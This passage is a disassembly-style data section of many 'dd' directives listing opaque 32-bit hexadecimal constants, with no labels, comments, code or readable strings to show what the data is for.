		dd 31811178h, 0CA81A33Bh, 0A58B7601h, 1804E5EAh, 8850D30Bh
		dd 26A5D04Ch, 0D813E458h, 66E9DDD8h, 0BC30E96Ch, 8AC38014h
		dd 7E820A1h, 1B170CBEh,	0A96AA41Fh, 799576A6h, 0C35B1298h
		dd 64602121h, 2C2AF3CAh, 8879B533h, 0E0273030h,	46079565h
		dd 0AABB1453h, 5C319244h, 0E9C188EAh, 2748594Dh, 274A725Eh
		dd 0B75EE80Ch, 21AE57EEh, 2F5C1760h, 57301099h,	905F81B6h
		dd 52017CE4h, 532E8BBAh, 76A9EC13h, 71EC16D7h, 18AEE9F0h
		dd 526E0383h, 0F7286FB6h, 0FE085AB0h, 8223E92Dh, 52A5BF4Dh
		dd 0BFB8ECC1h, 0DEBA7D45h, 1F84BAF2h, 3D420E67h, 90F1E3D3h
		dd 5DAF636Bh, 0E1016BEBh, 685BD988h, 49285202h,	4805FB93h
		dd 72035E22h, 95DA234Dh, 8F72C4D1h, 0C0488726h,	5BE2C825h
		dd 2E749CFFh, 89DE92E9h, 0FFFDAF7h, 0C0F344D3h,	0B41240E7h
		dd 412AA08h, 4AA62112h,	5209B749h, 0A35F5AE9h, 161509AEh
		dd 0D0E18F63h, 1F2A97FFh, 0E7040676h, 53156C76h, 6804A3A3h
		dd 81056742h, 0AFA878h,	0B003E0C1h, 6AE241DDh, 1BB29EC5h
		dd 0F7AC3418h, 0DB79B450h, 5E875D6Bh, 0F2E9D9F1h, 2F7AE6Ah
		dd 0B06A583Dh, 4AB0689Eh, 7ACF8974h, 635D608Bh,	26EDE98Ah
		dd 24E0822Ah, 79C0093Bh, 2BE8214Ch, 58C06812h, 3D95038Ch
		dd 46E05B98h, 3A979D9h,	81C9D2BFh, 89705908h, 52B8809Ch
		dd 555A140Bh, 87AEDE09h, 69622BB3h, 38A3B400h, 849026F3h
		dd 5856D640h, 0AC300254h, 7089BBA5h, 276D143Dh,	138A8AA1h
		dd 0F21A8C02h, 62D96266h, 9AA682CCh, 0B12D07C7h, 2A558738h
		dd 700DBB1h, 5539E95Ah,	0A12AA2BCh, 0D2083C22h,	572ED4E8h
		dd 3BC510B2h, 99F2551h,	9371F392h, 0E871B0FDh, 3EDDC0A2h
		dd 6E919D0h, 2F57488Bh,	0D0877112h, 92AAE54Eh, 561A9382h
		dd 0C201E267h, 6AFF6AC0h, 101D5E30h, 69ECE958h,	0BC574C59h
		dd 5C1497F0h, 0D085E912h, 5F4EC620h, 0C02B5C15h, 0C9269A24h
		dd 0FA4BF852h, 5706B8F3h, 0D13FDA68h, 0A335E268h, 32BC1C17h
		dd 0A25457C4h, 8530D723h, 933C9268h, 4E63072Eh,	70DC090Ah
		dd 0F5B19B84h, 1E50A0A0h, 0CB696516h, 0CBF97B70h, 12DB6806h
		dd 0F2502291h, 0DBF02825h, 0B55104FDh, 0E995C015h, 66999371h
		dd 45555C8Fh, 0DEB2FE7Ch, 0EC68125Ah, 0FAF6B7CDh, 6CC73DD4h
		dd 0E98BB339h, 8971C2CEh, 8F201F28h, 25680591h,	0FD1F7F48h
		dd 6C201B9h, 4244BA1Dh,	7D0E0E8Fh, 82F7258Bh, 5772395h
		dd 7C2E9129h, 0F3FC0480h, 9E07604Ch, 930D1846h,	0D1A9ABFh
		dd 0FD95F929h, 56E2DAAh, 0D2C4C6E9h, 484624C5h,	7C7710BFh
		dd 0A6E697E3h, 64C32930h, 0B86377F7h, 0BBEC2ADCh, 8DA58A6Dh
		dd 0D8C24F47h, 0F7882EE1h, 0B2E7170Dh, 61AED370h, 3588E922h
		dd 0FCCB2092h, 36CA5B48h, 0BDA069EBh, 0CBB75ECBh, 804F6ADEh
		dd 47CC24EFh, 830F9201h, 487DAA08h, 12CB05FBh, 0EB72FD63h
		dd 0C140AC41h, 0EDF406E8h, 91FCE4C8h, 0BA550BA0h, 0D2582E64h
		dd 0F5408FD7h, 1108210Ch, 0D8532E34h, 95D35E2h,	0C417247Dh
		dd 48FE05E0h, 0BEF4E9C0h, 8189EE4Eh, 740144C7h,	0AE91104h
		dd 0E97E7C31h, 309D2A90h, 18C9DC40h, 0D1829FA1h, 4C8A0E9h
		dd 0E33CC14Bh, 275FAC02h, 0BE565980h, 1D7619B8h, 1FE6810Eh
		dd 0D066D60Dh, 0A9F6CBA2h, 0D5844295h, 0B70BAFCAh, 58BB2957h
		dd 9F3825C1h, 7C96BA5Bh, 0F72F7FA1h, 0ECB71087h, 40E3B340h
		dd 0D2966663h, 0FDFC0212h, 68ECBD55h, 0B2327F9Dh, 452EFDA5h
		dd 0AFA567B4h, 3468AC70h, 71C2E163h, 0ABAE7D7h,	98D31908h
		dd 0A35D7AC3h, 0E2BCEB92h, 0ACDF1184h, 0F3D69CD1h, 81CCDF04h
		dd 4AFAB912h, 84BA158h,	4F62040Eh, 0AEBC5CE9h, 0FE526232h
		dd 6B505941h, 5A259A8Bh, 4498DD9h, 88AA194Ah, 181E0CC4h
		dd 0EDD3254Fh, 5AAC6BC4h, 569740D2h, 0B5094968h, 965E5B04h
		dd 0EA81D8F7h, 0C0398D9Dh, 0C6189E21h, 827FC110h, 0F8C51641h
		dd 334C9B5Eh, 82D1107Fh, 0E0CE047Ch, 0E05C1329h, 0BB2D7900h
		dd 84B9D85Dh, 0B73C9A43h, 76B189CFh, 5D879A72h,	275464E1h
		dd 0F8F16073h, 3448DC05h, 15940D3Dh, 0C78DCFCh,	0FE5AD012h
		dd 29E97D31h, 9B0DBD80h, 3548CE0Ch, 0F66F060Bh,	0CA79584Bh
		dd 109A0506h, 3905D2DAh, 628C6C2Fh, 0B6521353h,	0C75B4605h
		dd 0C15E9F56h, 0EAEC09B5h, 1992B7C9h, 0E8E2EC84h, 5BE6BC3Ch
		dd 0E46DE2EEh, 419DCDFEh, 0D1086D86h, 1240DA5Ah, 0BCE11C3h
		dd 0D90F1201h, 0B4AEDD2h, 390F502h, 0B5B943B1h,	0EFC981D4h
		dd 0B309CB63h, 0BF4BC47Bh, 1BE97F80h, 3F119D74h, 1E828281h
		dd 4348A643h, 3760B3D6h, 7FFDEB43h, 41299169h, 52F1EE76h
		dd 4F43A77Ah, 0F26B1CA5h, 28EF9262h, 84BE93Dh, 0A72CD407h
		dd 9DDED807h, 0A80CA193h, 98C3819Dh, 258F2C0Ch,	289A2854h
		dd 997A9127h, 92726C7h,	666A2DAh, 123F86B9h, 77EA85D7h
		dd 86F1B2E1h, 640973B2h, 47689640h, 0DACD185Bh,	55A1401h
		dd 0E9B7E46Bh, 94AD1A2Dh, 0FB5D2005h, 35B9660Fh, 0C2DD2B26h
		dd 5A195C4Dh, 0E905B9F1h, 43E254F8h, 59D33578h,	0A0630BC1h
		dd 5D1443D1h, 0D56C5092h, 744E957Ch, 9B68C503h,	0C889134Dh
		dd 750927ECh, 5AD6A080h, 0A221575Ah, 0E73E6E5Fh, 95BE0202h
		dd 612FD70Dh, 0DA4970Bh, 7C92329Ch, 0CAD41BDDh,	7C964A84h
		dd 95148984h, 0EF627FD6h, 7F2E777Ah, 0B85E02EBh, 0F731D989h
		dd 3B587B39h, 26685028h, 0C0FC735Ch, 6FC22B8Ch,	0F200AAB8h
		dd 32E75B41h, 0A68633E9h, 1768139Fh, 0C32CB375h, 5E14D0E9h
		dd 2605A30Ah, 39AF8D6Ch, 176F9B96h, 50B9A5Dh, 43E9F501h
		dd 0C16FAAF1h, 0CD568458h, 4803058h, 22AD0D12h,	621744C5h
		dd 0C13F7FE5h, 6FE3743Bh, 9010D48Ah, 2A6C48A0h,	0E3BDB446h
		dd 957C1F6Eh, 0D333546Ah, 9C531376h, 797BE03Eh,	292A4909h
		dd 8F008F3h, 8203128h, 0B172BDAAh, 7DA4C59h, 0E51DDABBh
		dd 0C4F889C5h, 0DB0A9619h, 0B3996ACEh, 170EBFE3h, 0D2255CE3h
		dd 2AEDC3E9h, 9B3FFEE5h, 0BD5500A2h, 18A54DE4h,	0D1D548F7h
		dd 5376BF1Dh, 40EE5C7Ah, 432B5F10h, 89A4C529h, 0F682A5ECh
		dd 7D680456h, 0A432BE48h, 76504AAAh, 0BF595923h, 5BC125C3h
		dd 9E5F4BCCh, 8FE91625h, 0B4DECCEEh, 58E7634Bh,	5E706610h
		dd 7F57365Eh, 0E831CF45h, 1A8AEC2h, 6B06DD68h, 0EBFF4C99h
		dd 45DF5DD4h, 588B1311h, 60A0B16h, 0FD7C026Eh, 0FD8D2BBh
		dd 22705FC7h, 50640F33h, 9573109h, 0B230DF65h, 0A498C501h
		dd 3A34FB5Bh, 0AFCB8E17h, 0C6868548h, 0B420DD49h, 0F55758D9h
		dd 0F2FEE313h, 91CA4BA9h, 0A45FBD5Ah, 0C7E2A852h, 0A342A42Dh
		dd 0ECEE68F7h, 6CBF4854h
		dd 1F00EE3Ah, 0F0312B8Ah, 0E27685Eh, 0FE23183Bh, 90204C59h
		dd 9092E90Bh, 1A094065h, 0D1EEC864h, 0EAA083B1h, 5898C23Bh
		dd 50B5B220h, 122DB155h, 0AF15122Ah, 2EEA45C0h,	45CF2628h
		dd 97D00136h, 2A89511Eh, 6A4832A9h, 8D33F527h, 0B768AED2h
		dd 5A16D729h, 0D5E0DFF7h, 0CF810247h, 0A3E5C7Ch, 0C2A60460h
		dd 0E0A07A2Fh, 4C590EC9h, 0F70E1AB8h, 28E25C65h, 0F6925E9h
		dd 7AF62A53h, 4109862Fh, 0E8A3A9F9h, 5670A225h,	67D3F49Ch
		dd 0BE31D8C4h, 0B800C1C5h, 0E60D4AD5h, 0BD13541h, 12CE7720h
		dd 163FF320h, 86B101Fh,	8BFAAC5Eh, 596F26D5h, 0A8A60530h
		dd 0FA018DDDh, 38EA8D84h, 0AF34279h, 41ADCD4Bh,	0BF4731h
		dd 303E4C0h, 2852F480h,	37CF58E6h, 8EEE9306h, 9E01C6E1h
		dd 0C34E4806h, 0CEF30F79h, 845AABEBh, 5FACDD76h, 5BF4B35Eh
		dd 0B217A6A6h, 8BE2B80Eh, 424B5157h, 0A7D89FE9h, 65B5581Ch
		dd 7464F517h, 0F69400FEh, 80CDFEDDh, 0E927C506h, 0B5345B31h
		dd 22420DD1h, 0E2600FC9h, 0C9979AEh, 0EE0A8A98h, 0B53FAD08h
		dd 6C19A50Eh, 0A5E0A03Ah, 1C311797h, 1B641892h,	3D064BEBh
		dd 0FB01435Ah, 71E60F4Ch, 0E5C0167Ah, 3B303367h, 0BB8D1A3h
		dd 819D312Ah, 551E940h,	0E8665293h, 0DBF774EBh,	0D9F2A1Eh
		dd 3F0F45D8h, 0EC44FDB9h, 0B31025FEh, 79E90955h, 0EF51DCFAh
		dd 595A406Bh, 0C8B70F02h, 7C028568h, 507C63A6h,	24A3225Ah
		dd 532CEAD2h, 37E964Ch,	0BB150C68h, 6A415991h, 0D1D0BCF5h
		dd 7072138Bh, 23CBF89h,	2FFE1316h, 4874ACB3h, 94E01810h
		dd 0EAF6EEC1h, 6F654CEDh, 5B39AB2Fh, 48842F30h,	9656B7AAh
		dd 88021828h, 0A96711E9h, 7A724157h, 8024748Ch,	0F9BF5706h
		dd 2AD4A701h, 3BDA4D03h, 123A89B8h, 2E4B5036h, 6F1B9371h
		dd 60A08ACBh, 0F789575Dh, 9AF6F9E4h, 0DE17A7F1h, 0E3858C21h
		dd 700E86Fh, 0E044270Dh, 3A7B2D6Bh, 0E1D0F946h,	0F4580EBDh
		dd 89D42954h, 87EC0841h, 8F469F34h, 430115E7h, 6C013BABh
		dd 3E330C82h, 0EA7F469Ch, 0C30824A3h, 173A72C7h, 76038B0Bh
		dd 0A5315224h, 0AE42AF52h, 6AC3D238h, 28C025C2h, 0CE8615Eh
		dd 21E0E52Ch, 0BAF0E9D0h, 50533BD3h, 0F4EEF293h, 83414C56h
		dd 0BD1F4D2Ch, 6F09FFABh, 5C7D531h, 0F003E985h,	845474FAh
		dd 0B1E280F9h, 4A60DA14h, 0D4E09F0Ch, 0A6019DA4h, 7C4F01E9h
		dd 7CBCE5FBh, 4B1ECED8h, 11CB30Bh, 84A08DAh, 4BF95B17h
		dd 4EAACF10h, 5CA5E09Dh, 6851C630h, 0BE31D54Ah,	71255AE9h
		dd 31D88A3Eh, 70E9D766h, 0FFEF122Ah, 6DF494Ch, 55289D4Ch
		dd 0CC688590h, 0B78C500Ah, 0B0C81945h, 1C34C958h, 6841ABF9h
		dd 8C3B61ACh, 0AE5D7146h, 27B39254h, 1562672Dh,	0A4486055h
		dd 91C7B5F5h, 4A66583Fh, 80492ED0h, 0C0940FCBh,	59C407E3h
		dd 0D364F80Ch, 35AE7384h, 32098010h, 2201A50Bh,	3051CA81h
		dd 67043A0h, 447A1463h,	7909C82Dh, 65D4110Eh, 0F8407010h
		dd 48B5B885h, 2C707477h, 3DA3D13Eh, 8418D48h, 9C220441h
		dd 16D23168h, 6FCB8814h, 0C3536560h, 5EB3E3E1h,	19122Dh
		dd 31492F2h, 0B9045113h, 0CEE40941h, 5F701BAh, 201B205Ch
		dd 0D6D0E81Bh, 48784908h, 0C34D7EFDh, 3E31E04h,	2EA14D16h
		dd 91B5BA3Ch, 0C54ED7B8h, 90B67E07h, 0CDDF0417h, 3F1BE576h
		dd 0FEB6A705h, 612FCE82h, 2D038BF3h, 210C63A0h,	57F00119h
		dd 30E44FF0h, 0E94E136Ch, 7B79A107h, 0F7EEBC92h, 0FD89A103h
		dd 75480EFAh, 0DE95665Ch, 4D5B8CFFh, 249F0516h,	0B0ED5EE3h
		dd 2EF95D10h, 0FEA56129h, 0BF0CB4DAh, 27ABE6D4h, 4FDE494Ah
		dd 57FC5517h, 0D94AE9ACh, 77A26AC4h, 4843AED6h,	58A257E9h
		dd 56B28626h, 7A76BAFFh, 927B966h, 4CC6B8CCh, 12F83EBEh
		dd 0A3C08259h, 5197D9BBh, 1974A6B4h, 0B8532B11h, 921A837Eh
		dd 0DBA686Bh, 5582E90Bh, 63B77B36h, 0BAF047D6h,	0EFBE95FFh
		dd 0EA030B82h, 58B1747Bh, 0C09FE188h, 806680E9h, 2900A02Dh
		dd 0AB353F28h, 2E6DB224h, 93DD8F7h, 905F065h, 4BCEB899h
		dd 8BA52CBCh, 0FC8B250Dh, 8CE9E2E4h, 0D297DAF8h, 6D5C9506h
		dd 0ED00E424h, 5A09DF0Eh, 1330AC57h, 4BCAD7E9h,	46D9D18Dh
		dd 70ED6861h, 0BC4B5C33h, 2BAFA561h, 8F4F12CEh,	11882BF2h
		dd 0F7DADB42h, 3ADCC516h, 68AD0A60h, 64840BF5h,	81D5FABBh
		dd 0A992F82h, 82400CFAh, 0D28BE8D3h, 577A4A62h,	3E32CD69h
		dd 0C6834200h, 98F38701h, 16A23A20h, 29124848h,	89AAD1C0h
		dd 56AF04BCh, 2D983002h, 0CA2E1F92h, 6B03435h, 9698E906h
		dd 816601D4h, 2074CDE6h, 0D19FCF53h, 829CA88h, 680595B7h
		dd 2F23646h, 1C8D12D3h,	6BAB2482h, 295C2277h, 0FD6077F1h
		dd 842F6A91h, 0C56F5834h, 16E98106h, 978C080Bh,	37783E30h
		dd 0B82C50DFh, 4FF5026Eh, 6D58E90Dh, 5E6854B0h,	17A6565Bh
		dd 8966ED97h, 955A1ADh,	0FE705FF9h, 0E23EFF84h,	59CF8448h
		dd 0DC306399h, 0F7583A23h, 1792814Ah, 0D579ED69h, 56B3CE1h
		dd 0DB73EC64h, 2900C1BAh, 99EE05C7h, 0D6E6C230h, 4050310Dh
		dd 93B962Eh, 902147B8h,	72C4A3Ch, 6DFB1A61h, 170FC530h
		dd 0E18F4C34h, 43C8618Eh, 0D8101A3Ch, 0E05B8998h, 6A40D9A1h
		dd 0F67E07B3h, 46D386DBh, 0C00108DAh, 0CBFE03EBh, 8F87ABE9h
		dd 0C488EAB5h, 165BEC66h, 0DBB285Bh, 0E0200846h, 2D04F801h
		dd 479C021Dh, 523DC4ABh, 128AAE90h, 0D40B10h, 0EEC001B6h
		dd 6BE68006h, 0DB760D24h, 0F6C7EC9Eh, 0A12B88F4h, 4FBAE91Fh
		dd 0C2108E39h, 9231359Dh, 4D35CB80h, 683D3867h,	0C380ECDAh
		dd 9019BDB8h, 0B934E902h, 0C3C10002h, 496589CBh, 1A100EC3h
		dd 0CA01C0F7h, 924127E9h, 0C6D5CB18h, 1315BA80h, 2058432h
		dd 0EFC15A58h, 0B3EE05D7h, 836014CDh, 1518B551h, 0E983DFCFh
		dd 952E49D4h, 0EA71041Fh, 1714B3C2h, 1FE8575Ch,	0BCC843A2h
		dd 0E1B0F121h, 0F234A0B7h, 4AC80FE1h, 0A1B58503h, 73B3E51Dh
		dd 9D317816h, 52EB759Fh, 53F2982Ah, 0F19B7B6Eh,	0FC5BBE52h
		dd 0D75C85ABh, 0AFD6A0A9h, 2FE9B971h, 13A6D65h,	0FA4B97F0h
		dd 0C6F06A7Bh, 0C36604DDh, 0B8E9C130h, 79940629h, 40C6D62h
		dd 5FF460E5h, 0E82C8121h, 92983E99h, 1C5944C2h,	8605B880h
		dd 0E915CEACh, 84C56FF2h, 4017D67Bh, 1AE222FBh,	0FD5A01A0h
		dd 218995ADh, 854895FCh, 555F5C84h, 3D9BB0C0h, 7A4D7677h
		dd 893FF35Dh, 0E948891Ch, 3A97F17h, 970970C1h, 25BEAF06h
		dd 0A32C8049h, 5913DE34h, 44E9D301h, 7C760BE5h,	83DC696Bh
		dd 0BFD92017h, 37393AACh, 29F6CC3Ah, 0A10A1F9Eh, 0DB47FC4Bh
		dd 0C5BEF304h, 921EEF1Ah, 0F116F5DBh, 0B1F55A59h, 7C1688Ch
		dd 0FE76C606h, 705F0ACBh, 0B168127Ch, 0B0AC3078h, 0C316282Bh
		dd 114E93E9h, 0F079C94Fh, 0DC5B750h, 5BE6A5C9h,	0D1EC0DAAh
		dd 0C42C301Fh, 130327F7h, 4DCC7977h, 6F6541C2h,	4828D204h
		dd 18A5580Fh, 8FCDBA8Dh, 4C6704A0h, 8B125F17h, 0E92BD00Ch
		dd 0E7AAA823h, 678522F7h, 403B74B9h, 73A76852h,	0E0036E2Fh
		dd 25429B5h, 0DAF759B9h, 5B70B8E9h, 0F4B852B7h,	0C1EE7A0Bh
		dd 4B3EC40Ch, 81802E13h, 4FAD1F0h, 63F05BDh, 0D09EC221h
		dd 1E08DE88h, 0A46FE4E9h, 5E783DC6h, 2ADBA5A2h,	0A82C17A1h
		dd 60C314D9h, 1B7CEBD7h, 0C0B70F02h, 59318068h,	0A0219CD9h
		dd 7A3E9490h, 31270C11h, 9DC296DFh, 2D5E1ABh, 0C5ED1274h
		dd 434827A4h, 788262B8h
		dd 86AA2771h, 69A3A9EEh, 2C773F13h, 13471E08h, 0DD76085Fh
		dd 1751B53Dh, 68C276E8h, 30460E7Fh, 845B81CFh, 69BF3EC4h
		dd 0D3E23000h, 3509ABF8h, 319236E9h, 9BE8551Ch,	1579C858h
		dd 0DDCD358Fh, 68FFD3D4h, 4582D115h, 8B37D146h,	6027FD8Ch
		dd 0C4686429h, 10CDB329h, 563F858Bh, 0CC135716h, 60406949h
		dd 366617B9h, 0EFCD04D2h, 3BB1695h, 0C97EB7EEh,	984A7ADAh
		dd 30B5B47Fh, 0F239AAD2h, 0E83060C6h, 7D0AA30h,	0C626078h
		dd 0CE70135Dh, 4B4B8959h, 0E0CE3AB5h, 2CFABFAEh, 0B05A1B2Eh
		dd 0C0318230h, 30FB29FEh, 7625D4A0h, 4AC77827h,	6123BAE2h
		dd 0AF82F4B3h, 179CC65Bh, 0BADBB8F3h, 97C38B5Fh, 0F8267004h
		dd 25184BF1h, 9954EE7Eh, 0CBD8F70Bh, 867806EBh,	0CC4C8E05h
		dd 6372770Bh, 0F0AFD775h, 4E36053Ch, 0ED06A17Bh, 0C2CC489Ch
		dd 957A9C84h, 3500A703h, 6FAA78A9h, 0F6A1C529h,	0D1AA05D9h
		dd 7D02473h, 34C4DAF4h,	7FA293C4h, 51276882h, 3518187Dh
		dd 4B650E01h, 4209DABAh, 27B49808h, 0BD0876E9h,	0AB03240Bh
		dd 0AC6D3800h, 4B4EE945h, 0DEC2E8B4h, 6686714Bh, 55C3B053h
		dd 2630EB22h, 1B3F0381h, 5FFA3126h, 0DE95509h, 427948FCh
		dd 767A245Ah, 0D431A1Eh, 531686F6h, 0B9E08C93h,	0B73B4A2Ch
		dd 4B327B72h, 0E02981EBh, 95D6386Fh, 4EE55E76h,	0BC4E34ACh
		dd 0C9BBB45Ah, 0C2045472h, 0C340C762h, 0F0174340h, 30AA5841h
		dd 0D563E919h, 1D4FBE9Ch, 5C5209EDh, 1AB09CDh, 0BFAD34D7h
		dd 0C26884BAh, 37003FB4h, 0C68503Eh, 7235B34Dh,	7EC30058h
		dd 78057323h, 37C8909h,	2F00CB78h, 0EDC2D1Ah, 2AE911FFh
		dd 4E705491h, 0F551EC5Bh, 5D3D782h, 1E12C531h, 6FAF9D25h
		dd 3963A0C8h, 0A4C0493Dh, 0F44952DAh, 80630AFh,	0E6048146h
		dd 16010D2Ch, 0CC3B0BBh, 2BF60969h, 0CD0B74E3h,	12313F12h
		dd 2B5FE9h, 8E22BAA7h, 40B72AD2h, 8249F894h, 0D9A01B55h
		dd 0CC5270CBh, 446A6029h, 6A2881F6h, 64528A4Fh,	4499958Ah
		dd 0B32FD271h, 53DA84A7h, 0FBD63FBDh, 50682560h, 0A6CC9B14h
		dd 5F4A10CBh, 77F73AC0h, 0E4684E4Ch, 0E7905A6Bh, 5F0CEB50h
		dd 6B0CD1FDh, 2128D8E6h, 0BD3C1EE1h, 9A20092h, 3BE9DD31h
		dd 68C14D66h, 0F37025A7h, 13EF46Ch, 51B114EAh, 0C5878EF6h
		dd 4CB1FC68h, 0B5BC6460h, 6CF4A64Ch, 1A731B26h,	7CC0819Ch
		dd 295C3713h, 837390CFh, 171C4108h, 0F0ACFC2Eh,	9E322068h
		dd 85C5DA34h, 0C8D0E905h, 86929495h, 27CE5EA0h,	6F35C253h
		dd 0D0457281h, 601FB504h, 0B74BF09Ah, 3C8467A2h, 60C10B7Ch
		dd 0BED5ADAEh, 1252CB9Ah, 1F4A9890h, 4CAD421Eh,	32574ADCh
		dd 6F0289F9h, 0DEE6558Dh, 139B3DE9h, 2DAFBF15h,	7C0CA533h
		dd 0C1E9E22Eh, 0C5BE13F0h, 1D253C7h, 686499h, 7A591BB8h
		dd 239EE181h, 0FD13Bh, 70552AC9h, 5B196830h, 53CB356h
		dd 3A7157B6h, 3F865280h, 29481640h, 86310F1h, 0CB70A44Ah
		dd 0F5F8BA41h, 0D3BB1ED0h, 0DBBDC976h, 11ECFB10h, 5001E21Fh
		dd 3787C712h, 0E5A2D574h, 9E6F5597h, 96099F90h,	8A57FD76h
		dd 0A0008F49h, 4A4F4871h, 0C5C54FE9h, 0CD8FBF12h, 5D42B810h
		dd 7740100Bh, 4B696E50h, 0F7B5CC01h, 29097692h,	45A5DE8h
		dd 0BD004902h, 0D916083h, 7C14B87Eh, 25D74104h,	2CDDAC5Eh
		dd 0A20183E4h, 6B22498Fh, 0DA40D2F7h, 0B066C51h, 0C0CE8175h
		dd 501DA181h, 71A06053h, 805DB8A2h, 834538B2h, 0CE01BD90h
		dd 3B58C629h, 7E28E6F1h, 7E1C87E1h, 3C8C0CB3h, 1A06B6F9h
		dd 0FEFCCE80h, 83EE507Ch, 4D0A88Ch, 0FC884F44h,	42C22F74h
		dd 0DAF157D9h, 0F961243h, 59EA2C1Ch, 41545806h,	14253C7Fh
		dd 4B174EE0h, 5883EC5Bh, 6BE6B41Ah, 0BCD9610h, 70C5CB80h
		dd 4964F673h, 5B3B84E5h, 0ADFD3592h, 22920483h,	408839DDh
		dd 8104EB7Dh, 14442889h, 0AA909ED2h, 0CD004382h, 0C10CF67Bh
		dd 25074CEDh, 2F7F2502h, 3363D12Bh, 0FEC89DD8h,	0A2EDF74Fh
		dd 67F131C9h, 0FB56820Bh, 0FA0509D9h, 415CDC98h, 1B7D123Eh
		dd 8218449Ch, 97667CBh,	0C880C328h, 0BEE90B5Dh,	0A627535Eh
		dd 69B0ED85h, 3180FAB1h, 980635C3h, 0A5E12B28h,	0EDB652D4h
		dd 0B0241036h, 86B0199h, 3AC4E9C6h, 0FC25A700h,	7C39D412h
		dd 3A14EA35h, 30DC8921h, 0AC7F4485h, 0CBBBA483h, 2EFE242Fh
		dd 77410E42h, 0BA9EF5E6h, 12AD6EADh, 0EAD110E9h, 5C455830h
		dd 20A798D6h, 2D3A6EC3h, 1228080h, 994A4C05h, 0B6D8BF2Fh
		dd 10E50783h, 0D13C111h, 0F89E369h, 0A0702535h,	56DDF75Dh
		dd 87E74EE9h, 22F1E054h, 0E5907F05h, 7E94E627h,	0FBE9D8F6h
		dd 7F4ECE4Eh, 0C0D94980h, 0FEB8F17Eh, 24489E1Dh, 96A72863h
		dd 0C086889Ah, 213CBB01h, 20E84792h, 0C66DC0CAh, 6897C00Ah
		dd 0ABBDE8F6h, 3B1CF3A6h, 0E96AD34Eh, 4FC52E5h,	68122Fh
		dd 0B25217B0h, 0F28018A5h, 502B0669h, 40903EF8h, 2236CE50h
		dd 4AA97C07h, 67D5F789h, 3BBFD0F0h, 4CA54FB7h, 0AE0D362h
		dd 504A8571h, 0A0C99C87h, 24E9F034h, 0A8FC9EE4h, 2F55909Ch
		dd 70D92F1Bh, 760F8B01h, 953A21DAh, 112CEEC9h, 84F75DB6h
		dd 0E91637A6h, 0E9A2DDA4h, 1271564Ch, 0AB7A925Fh, 0AC52780Ch
		dd 0C1371CDFh, 7EF8C7Bh, 9ECB0806h, 4D9C84D1h, 485CB4BCh
		dd 3A5DAEB1h, 257963A3h, 0A97C6EF8h, 7CC35F64h,	0CA4302A9h
		dd 1EA623C7h, 2FD5C3F7h, 14505207h, 8169BF91h, 0FC119EBBh
		dd 0FBED3E81h, 615FB572h, 890A06Fh, 0FE4A7880h,	0B3BA949Fh
		dd 0AB582510h, 29258499h, 5A9AE8B2h, 0D9575A29h, 0ECC62047h
		dd 5EFAF283h, 806C08FAh, 762A5A30h, 0E89FA1B0h,	0F289807Fh
		dd 42000E53h, 0B2E5814Dh, 0DB1DC458h, 9DE0BAC0h, 0CDAA23E9h
		dd 0F134A65Ah, 0F6F865F5h, 7672E706h, 80ECCA10h, 77511770h
		dd 6F12AC9h, 0D6A1AD47h, 3B21AF6Bh, 5168429h, 8239B8EEh
		dd 7CE3306Fh, 9DC253D4h, 6842F176h, 0F4755095h,	0D6A454C6h
		dd 7DD90CCFh, 0D6E66E9Dh, 6B092D00h, 84591925h,	4F0CC30h
		dd 41FC0506h, 7D1D4Ch, 0D960C835h, 676BE94Fh, 8FE6169h
		dd 0F2F9DF9Ah, 29A90AC6h, 2F50525h, 2716736Ah, 3447E8C0h
		dd 712F33Eh, 0F74187F6h, 138075E9h, 43B47175h, 3F010CC2h
		dd 9C470DAh, 58A602F0h,	0EA14147Ch, 7CE91308h, 62D49CB1h
		dd 430ACE3Eh, 0D2E10B33h, 73F96D9Bh, 0BCDA2AE7h, 13E0AF10h
		dd 0CA16FB29h, 0BD3C50FAh, 98AAF84h, 42618591h,	202D3DFEh
		dd 14905EBEh, 0AC65A60Eh, 57E9C21Ch, 6BB95678h,	0E5F016F5h
		dd 0FF6B253Ah, 0DDEBB484h, 11A06BE1h, 4077BCDFh, 90B030Ch
		dd 59CA2117h, 0BB539701h, 97EF0105h, 59A95739h,	0A93DE102h
		dd 0D3625D07h, 4BBCB6Bh, 56072DAAh, 1421EE20h, 0B453558h
		dd 0D0CDF204h, 0C5FF98FAh, 0A4E1C59Dh, 0BC7B131Ah, 59BD93BEh
		dd 0ACF9E126h, 4E3D102Ah, 0B0885781h, 0B1F7E781h, 0ED70F257h
		dd 2718389Fh, 260ED959h, 6C930BF6h, 6B46A8D4h, 1B1B64Bh
		dd 59E37EC7h, 0BE91F43Bh, 82341AC9h, 2ED0A9C9h,	65153580h
		dd 5024182h, 44EEAD1Ah,	0F8EAFD89h, 9F13CDC1h, 4ABC28C1h
		dd 4BCC5FEAh, 6359522Ch, 0B21837EAh, 1658CDCBh,	0FC425662h
		dd 0C611F81h, 854D1AC9h, 0FBC9C36h, 6B4FB8A1h, 0C8002325h
		dd 5E131C48h, 24D50025h, 19052C47h, 21751D74h, 0A107B12h
		dd 368A92BFh, 0FE2D84DEh, 0CBE9F08Ah, 8004A3B6h, 93FC2AEEh
		dd 3F5EBC4Ah, 0E549F1D6h
		dd 53BB12E8h, 0AFA5B5FDh, 0A92F122Dh, 18E9C320h, 0C36F2F6Ch
		dd 0A8BE2585h, 0E109A54Bh, 0E13EF08Dh, 65AC014Ah, 6139803h
		dd 0A114765Bh, 8888A16h, 0E10C9AA1h, 623720A2h,	0B8B3087Ah
		dd 34BC402h, 281027E8h,	991072C1h, 3AF318B4h, 805B8118h
		dd 10C612CBh, 20082C78h, 2A312FC2h, 61C620BEh, 0AF160888h
		dd 0DFD7208h, 21285445h, 946998EDh, 0C48E8D08h,	403D220h
		dd 0EE067C49h, 0CC3118C3h, 554C0896h, 31D9189Ch, 90815708h
		dd 0C3188B99h, 0E2BE087Ch, 0C49BB880h, 4AEA620h, 0D11D4F6Ah
		dd 206C209Fh, 920B037h,	222C3352h, 8FECA18h, 8C6A790h
		dd 0FA20F027h, 8849CCFAh, 0B1FDFD18h, 0C2165189h, 8C0E7301h
		dd 81D2F10h, 2391C68Eh,	0E3200863h, 5E7A316Dh, 8C644F30h
		dd 89BC3608h, 49188B18h, 65186C8Bh, 0DE08C4F5h,	0D225049Ah
		dd 282BD006h, 88DBE32h,	0F4B8A226h, 0C80D0B71h,	175F128h
		dd 10BD90F1h, 0BF088533h, 0A3218C6h, 36451ADh, 1018948Ch
		dd 0E08ED1Ch, 4318CA1Eh, 1FA0BBB4h, 20D08620h, 77207650h
